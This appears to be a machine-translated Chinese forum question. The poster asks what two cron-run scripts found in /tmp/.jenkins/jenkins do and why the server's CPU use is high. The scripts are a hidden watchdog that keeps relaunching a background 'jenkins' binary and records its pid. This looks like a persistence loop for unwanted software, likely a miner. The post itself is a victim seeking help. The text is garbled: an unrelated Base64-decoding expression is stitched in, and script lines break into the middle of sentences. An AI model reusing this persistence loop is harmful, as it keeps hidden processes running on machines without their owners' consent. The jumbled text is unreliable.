/tmp/.jenkins/jenkins/目录有2个脚本文件。请在下面找到脚本:
decodeBase64(triggerBody()?[body('getFile')])
File Name: j
if test -r /tmp/.jenkins/jenkins/j.pid; then
pid=$(cat /tmp/.jenkins/jenkins/j.pid)
if $(kill -CHLD $pid >/dev/null 2>&1)
then
exit 0
fi
fi
cd /tmp/.jenkins/jenkins
touch j.pid
chmod u+x j.pid
./run &>/dev/null
这些脚本每秒都作为cron作业运行,这导致服务器的CPU使用率很高。达到File Name: run
./jenkins & echo $(( $! + 1 )) > j.pid 2> /dev/null
。当我们从cron作业中注释掉该脚本时,CPU使用率下降到90%
。
有人可以帮助我了解此脚本的目的以及如何解决此问题吗?